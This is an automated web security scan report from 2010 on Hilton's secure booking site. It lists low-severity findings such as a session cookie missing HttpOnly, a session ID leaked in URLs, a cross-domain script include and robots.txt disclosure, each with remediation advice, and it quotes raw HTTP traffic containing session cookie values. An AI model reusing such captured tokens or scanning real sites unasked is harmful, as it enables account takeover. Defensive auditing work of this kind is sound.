// WebTrends SmartSource Data Collector Tag // Version: 1.1.1 // Created: 2/13/2008 4:10:50 PM // ******************************************************* // David Sinner 2/20/2008 // This tag was ...[SNIP]...
GET /en/hi/mytravelplanner/my_account.jhtml HTTP/1.1 Host: secure.hilton.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: ClrOSSID=1285773080836-41536; ClrCSTO=T; JSESSIONID=I0Y3BPTGUV0FKCSGBJBN2EQ; K3R7=3dk-eQ4XUtRvjpAuL1F6uFYPrMI7Z6lI-I84CbL19IAhNikEbAbyQdg; mmcore.pd=900809129%7C5873798984082; mmcore.tst=0.351; ClrSCD=1285773080836; mmcore.srv=cg1.use; ClrSSID=1285773080836-41536;
Response
HTTP/1.1 302 Moved Temporarily Server: Netscape-Enterprise/6.0 Content-Type: text/html P3p: policyref="/w3c/p3p.xml", CP="NOI DSP DEVa TAIa OUR BUS UNI" Pragma: no-cache Cache-Control: no-cache Expires: Tue, 04 Dec 1993 21:29:02 GMT Location: /en/hi/login/login.jhtml;jsessionid=I0Y3BPTGUV0FKCSGBJBN2EQ?_requestid=95137 Date: Wed, 29 Sep 2010 15:26:56 GMT Connection: close Connection: Transfer-Encoding Content-Length: 76156
<HEAD><TITLE>302 Moved Temporarily</TITLE></HEAD> <H1>302 Moved Temporarily</H1><BODY> </BODY>
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN"> <HTML xmlns="http://www.w3. ...[SNIP]... <td><a href="/doxch.jhtml;jsessionid=I0Y3BPTGUV0FKCSGBJBN2EQ?dst=http://HI/en_US/hi/index.do" title="Go to home page" tabindex="3" class="OneLinkKeepLinks"><img src="/en/hi/media/images/logos/hdr_logo.gif" alt="Hilton Hotels" border="0"> ...[SNIP]... <br>
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN"> <html> <head> <title ...[SNIP]... <LINK REL="StyleSheet" href="/en/hi/res/css/hi-cal.css">
HTTP/1.1 200 OK Server: Netscape-Enterprise/6.0 Content-Type: text/html P3p: policyref="/w3c/p3p.xml", CP="NOI DSP DEVa TAIa OUR BUS UNI" Pragma: no-cache Cache-Control: no-cache Expires: Tue, 04 Dec 1993 21:29:02 GMT Vary: Accept-Encoding Date: Wed, 29 Sep 2010 15:11:48 GMT Connection: keep-alive Content-Length: 104307
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN"> <html> <head> <title>Rooms & Rates: The Beverly Hilton</title> <META NAME="W ...[SNIP]... <span class="fr">
HTTP/1.1 200 OK Server: Netscape-Enterprise/6.0 Content-Type: text/html P3p: policyref="/w3c/p3p.xml", CP="NOI DSP DEVa TAIa OUR BUS UNI" Pragma: no-cache Cache-Control: no-cache Expires: Tue, 04 Dec 1993 21:29:02 GMT Vary: Accept-Encoding Date: Wed, 29 Sep 2010 15:11:48 GMT Connection: keep-alive Content-Length: 104307
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN"> <html> <head> <title>Rooms & Rates: The Beverly Hilton</title> <META NAME="W ...[SNIP]...
If the HttpOnly attribute is set on a cookie, then the cookie's value cannot be read or set by client-side JavaScript. This measure can prevent certain client-side attacks, such as cross-site scripting, from trivially capturing the cookie's value via an injected script.
Issue remediation
There is usually no good reason not to set the HttpOnly flag on all cookies. Unless you specifically require legitimate client-side scripts within your application to read or set a cookie's value, you should set the HttpOnly flag by including this attribute within the relevant Set-cookie directive.
You should be aware that the restrictions imposed by the HttpOnly flag can potentially be circumvented in some circumstances, and that numerous other serious attacks can be delivered by client-side script injection, aside from simple cookie stealing.
The following cookie was issued by the application and does not have the HttpOnly flag set:
JSESSIONID=I0Y3BPTGUV0FKCSGBJBN2EQ; path=/
The cookie appears to contain a session token, which may increase the risk associated with this issue. You should review the contents of the cookie to determine its function.
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Most browsers have a facility to remember user credentials that are entered into HTML forms. This function can be configured by the user and also by applications which employ user credentials. If the function is enabled, then credentials entered by the user are stored on their local computer and retrieved by the browser on future visits to the same application.
The stored credentials can be captured by an attacker who gains access to the computer, either locally or through some remote compromise. Further, methods have existed whereby a malicious web site can retrieve the stored credentials for other applications, by exploiting browser vulnerabilities or through application-level cross-domain attacks.
Issue remediation
To prevent browsers from storing credentials entered into HTML forms, you should include the attribute autocomplete="off" within the FORM tag (to protect all form fields) or within the relevant INPUT tags (to protect specific individual fields).
A cookie's domain attribute determines which domains can access the cookie. Browsers will automatically submit the cookie in requests to in-scope domains, and those domains will also be able to access the cookie via JavaScript. If a cookie is scoped to a parent domain, then that cookie will be accessible by the parent domain and also by any other subdomains of the parent domain. If the cookie contains sensitive data (such as a session token) then this data may be accessible by less trusted or less secure applications residing at those domains, leading to a security compromise.
Issue remediation
By default, cookies are scoped to the issuing domain and all subdomains. If you remove the explicit domain attribute from your Set-cookie directive, then the cookie will have this default scope, which is safe and appropriate in most situations. If you particularly need a cookie to be accessible by a parent domain, then you should thoroughly review the security of the applications residing on that domain and its subdomains, and confirm that you are willing to trust the people and systems which support those applications.
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
When a web browser makes a request for a resource, it typically adds an HTTP header, called the "Referer" header, indicating the URL of the resource from which the request originated. This occurs in numerous situations, for example when a web page loads an image or script, or when a user clicks on a link or submits a form.
If the resource being requested resides on a different domain, then the Referer header is still generally included in the cross-domain request. If the originating URL contains any sensitive information within its query string, such as a session token, then this information will be transmitted to the other domain. If the other domain is not fully trusted by the application, then this may lead to a security compromise.
You should review the contents of the information being transmitted to other domains, and also determine whether those domains are fully trusted by the originating application.
Today's browsers may withhold the Referer header in some situations (for example, when loading a non-HTTPS resource from a page that was loaded over HTTPS, or when a Refresh directive is issued), but this behaviour should not be relied upon to protect the originating URL from disclosure.
Note also that if users can author content within the application then an attacker may be able to inject links referring to a domain they control in order to capture data from URLs used within the application.
Issue remediation
The application should never transmit any sensitive information within the URL query string. In addition to being leaked in the Referer header, such information may be logged in various locations and may be visible on-screen to untrusted parties.
GET /en/hi/mytravelplanner/my_account.jhtml;jsessionid=I0Y3BPTGUV0FKCSGBJBN2EQ?_DARGS=/en/crm/login/generic_widget.jhtml HTTP/1.1 Host: secure.hilton.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: ClrOSSID=1285773080836-41536; ClrCSTO=T; JSESSIONID=I0Y3BPTGUV0FKCSGBJBN2EQ; K3R7=3dk-eQ4XUtRvjpAuL1F6uFYPrMI7Z6lI-I84CbL19IAhNikEbAbyQdg; mmcore.pd=900809129%7C5873798984082; mmcore.tst=0.351; ClrSCD=1285773080836; mmcore.srv=cg1.use; ClrSSID=1285773080836-41536;
Response
HTTP/1.1 302 Moved Temporarily Server: Netscape-Enterprise/6.0 Content-Type: text/html P3p: policyref="/w3c/p3p.xml", CP="NOI DSP DEVa TAIa OUR BUS UNI" Pragma: no-cache Cache-Control: no-cache Expires: Tue, 04 Dec 1993 21:29:02 GMT Location: /en/hi/login/login.jhtml;jsessionid=I0Y3BPTGUV0FKCSGBJBN2EQ?_requestid=95898 Vary: Accept-Encoding Date: Wed, 29 Sep 2010 15:27:17 GMT Connection: close Connection: Transfer-Encoding Content-Length: 76156
<HEAD><TITLE>302 Moved Temporarily</TITLE></HEAD> <H1>302 Moved Temporarily</H1><BODY> </BODY>
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN"> <HTML xmlns="http://www.w3. ...[SNIP]... <td><script src=https://seal.verisign.com/getseal?host_name=secure.hilton.com&size=S&use_flash=YES&use_transparent=YES&lang=en></script> ...[SNIP]... </style>
Double Dip® your way. You can choose your Earning Style from three rewarding options! Select the option you prefer, in you HHonors membership profile. Click <a href="https://www.hiltonhhonors.com/myway/index.aspx?adId=hhhomepage,myway,30">here</a> ...[SNIP]...
HTTP/1.1 200 OK Server: Netscape-Enterprise/6.0 Content-Type: text/html P3p: policyref="/w3c/p3p.xml", CP="NOI DSP DEVa TAIa OUR BUS UNI" Pragma: no-cache Cache-Control: no-cache Expires: Tue, 04 Dec 1993 21:29:02 GMT Vary: Accept-Encoding Date: Wed, 29 Sep 2010 15:11:48 GMT Connection: keep-alive Content-Length: 104307
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN"> <html> <head> <title>Rooms & Rates: The Beverly Hilton</title> <META NAME="W ...[SNIP]... <NOSCRIPT> <IFRAME SRC="https://fls.vulnerable.ad.partner/activityi;src=2013561;type=count890;cat=brand636;ord=1;num=1?" WIDTH=1 HEIGHT=1 FRAMEBORDER=0></IFRAME> ...[SNIP]...
When an application includes a script from an external domain, this script is executed by the browser within the security context of the invoking application. The script can therefore do anything that the application's own scripts can do, such as accessing application data and performing actions within the context of the current user.
If you include a script from an external domain, then you are trusting that domain with the data and functionality of your application, and you are trusting the domain's own security to prevent an attacker from modifying the script to perform malicious actions within your application.
Issue remediation
Scripts should not be included from untrusted domains. If you have a requirement which a third-party script appears to fulfil, then you should ideally copy the contents of that script onto your own domain and include it from there. If that is not possible (e.g. for licensing reasons) then you should consider reimplementing the script's functionality within your own code.
GET /en/hi/mytravelplanner/my_account.jhtml HTTP/1.1 Host: secure.hilton.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: ClrOSSID=1285773080836-41536; ClrCSTO=T; JSESSIONID=I0Y3BPTGUV0FKCSGBJBN2EQ; K3R7=3dk-eQ4XUtRvjpAuL1F6uFYPrMI7Z6lI-I84CbL19IAhNikEbAbyQdg; mmcore.pd=900809129%7C5873798984082; mmcore.tst=0.351; ClrSCD=1285773080836; mmcore.srv=cg1.use; ClrSSID=1285773080836-41536;
Response
HTTP/1.1 302 Moved Temporarily Server: Netscape-Enterprise/6.0 Content-Type: text/html P3p: policyref="/w3c/p3p.xml", CP="NOI DSP DEVa TAIa OUR BUS UNI" Pragma: no-cache Cache-Control: no-cache Expires: Tue, 04 Dec 1993 21:29:02 GMT Location: /en/hi/login/login.jhtml;jsessionid=I0Y3BPTGUV0FKCSGBJBN2EQ?_requestid=95137 Date: Wed, 29 Sep 2010 15:26:56 GMT Connection: close Connection: Transfer-Encoding Content-Length: 76156
<HEAD><TITLE>302 Moved Temporarily</TITLE></HEAD> <H1>302 Moved Temporarily</H1><BODY> </BODY>
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN"> <HTML xmlns="http://www.w3. ...[SNIP]... <td><script src=https://seal.verisign.com/getseal?host_name=secure.hilton.com&size=S&use_flash=YES&use_transparent=YES&lang=en></script> ...[SNIP]...
The file robots.txt is used to give instructions to web robots, such as search engine crawlers, about locations within the web site which robots are allowed, or not allowed, to crawl and index.
The presence of the robots.txt does not in itself present any kind of security vulnerability. However, it is often used to identify restricted or private areas of a site's contents. The information in the file may therefore help an attacker to map out the site's contents, especially if some of the locations identified are not linked from elsewhere in the site. If the application relies on robots.txt to protect access to these areas, and does not enforce proper access control over them, then this presents a serious vulnerability.
Issue remediation
The robots.txt file is not itself a security threat, and its correct use can represent good practice for non-security reasons. You should not assume that all web robots will honour the file's instructions. Rather, assume that attackers will pay close attention to any locations identified in the file. Do not rely on robots.txt to provide any kind of protection over unauthorised access.
Request
GET /robots.txt HTTP/1.0 Host: secure.hilton.com
Response
HTTP/1.0 200 OK Server: Netscape-Enterprise/6.0 Content-Length: 25548 Content-Type: text/plain ETag: "4199a553-b193-0-63cc" Last-Modified: Thu, 28 Jan 2010 20:51:29 GMT Accept-Ranges: bytes Cache-Control: max-age=539169 Expires: Tue, 05 Oct 2010 20:59:36 GMT Date: Wed, 29 Sep 2010 15:13:27 GMT Connection: close
# Daytime instructions for search engines # Do not visit Hilton.com during the day! User-agent: Googlebot Disallow: /guestlocale/ Disallow: /en/hhonors/login/owner_login.jhtml Disallow: /en/hi/groups/ ...[SNIP]...
11. HTML does not specify charsetpreviousnext There are 5 instances of this issue:
If a web response states that it contains HTML content but does not specify a character set, then the browser may analyse the HTML and attempt to determine which character set it appears to be using. Even if the majority of the HTML actually employs a standard character set such as UTF-8, the presence of non-standard characters anywhere in the response may cause the browser to interpret the content using a different character set. This can have unexpected results, and can lead to cross-site scripting vulnerabilities in which non-standard encodings like UTF-7 can be used to bypass the application's defensive filters.
In most cases, the absence of a charset directive does not constitute a security flaw, particularly if the response contains static content. You should review the contents of the response and the context in which it appears to determine whether any vulnerability exists.
Issue remediation
For every response containing HTML content, the application should include within the Content-type header a directive specifying a standard recognised character set, for example charset=ISO-8859-1.
HTTP/1.1 200 OK Server: Netscape-Enterprise/6.0 Content-Type: text/html P3p: policyref="/w3c/p3p.xml", CP="NOI DSP DEVa TAIa OUR BUS UNI" Pragma: no-cache Cache-Control: no-cache Expires: Tue, 04 Dec 1993 21:29:02 GMT Vary: Accept-Encoding Date: Wed, 29 Sep 2010 15:11:48 GMT Connection: keep-alive Content-Length: 104307
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN"> <html> <head> <title>Rooms & Rates: The Beverly Hilton</title> <META NAME="W ...[SNIP]...
GET /en/hp/res/choose_rates_form_body.jhtml HTTP/1.1 Host: secure.hilton.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: ClrOSSID=1285773080836-41536; ClrCSTO=T; JSESSIONID=I0Y3BPTGUV0FKCSGBJBN2EQ; K3R7=3dk-eQ4XUtRvjpAuL1F6uFYPrMI7Z6lI-I84CbL19IAhNikEbAbyQdg; mmcore.pd=900809129%7C5873798984082; mmcore.tst=0.351; ClrSCD=1285773080836; mmcore.srv=cg1.use; ClrSSID=1285773080836-41536;
Response
HTTP/1.1 200 OK Server: Netscape-Enterprise/6.0 Content-Type: text/html P3p: policyref="/w3c/p3p.xml", CP="NOI DSP DEVa TAIa OUR BUS UNI" Pragma: no-cache Cache-Control: no-cache Expires: Tue, 04 Dec 1993 21:29:02 GMT Date: Wed, 29 Sep 2010 15:28:12 GMT Connection: close Connection: Transfer-Encoding Content-Length: 89370
<script language="JavaScript"> /** Modified the function for CR13344 so as to use the same function to open url's with different width n height * If lenX (width) is not passed then defaul ...[SNIP]...
The server presented a valid, trusted SSL certificate. This issue is purely informational.
The server presented the following certificates:
Server certificate
Issued to:
secure.hilton.com,ST=Tennessee
Issued by:
Akamai Subordinate CA 3
Valid from:
Thu Dec 31 14:28:36 EST 2009
Valid to:
Fri Dec 31 14:28:36 EST 2010
Certificate chain #1
Issued to:
Akamai Subordinate CA 3
Issued by:
GTE CyberTrust Global Root
Valid from:
Thu May 11 11:32:00 EDT 2006
Valid to:
Sat May 11 19:59:00 EDT 2013
Certificate chain #2
Issued to:
GTE CyberTrust Global Root
Issued by:
GTE CyberTrust Global Root
Valid from:
Wed Aug 12 20:29:00 EDT 1998
Valid to:
Mon Aug 13 19:59:00 EDT 2018
Issue background
SSL helps to protect the confidentiality and integrity of information in transit between the browser and server, and to provide authentication of the server's identity. To serve this purpose, the server must present an SSL certificate which is valid for the server's hostname, is issued by a trusted authority and is valid for the current date. If any one of these requirements is not met, SSL connections to the server will not provide the full protection for which SSL is designed.
It should be noted that various attacks exist against SSL in general, and in the context of HTTPS web connections. It may be possible for a determined and suitably-positioned attacker to compromise SSL connections without user detection even when a valid SSL certificate is used.Report generated by XSS.CX at Wed Sep 29 12:05:39 EDT 2010.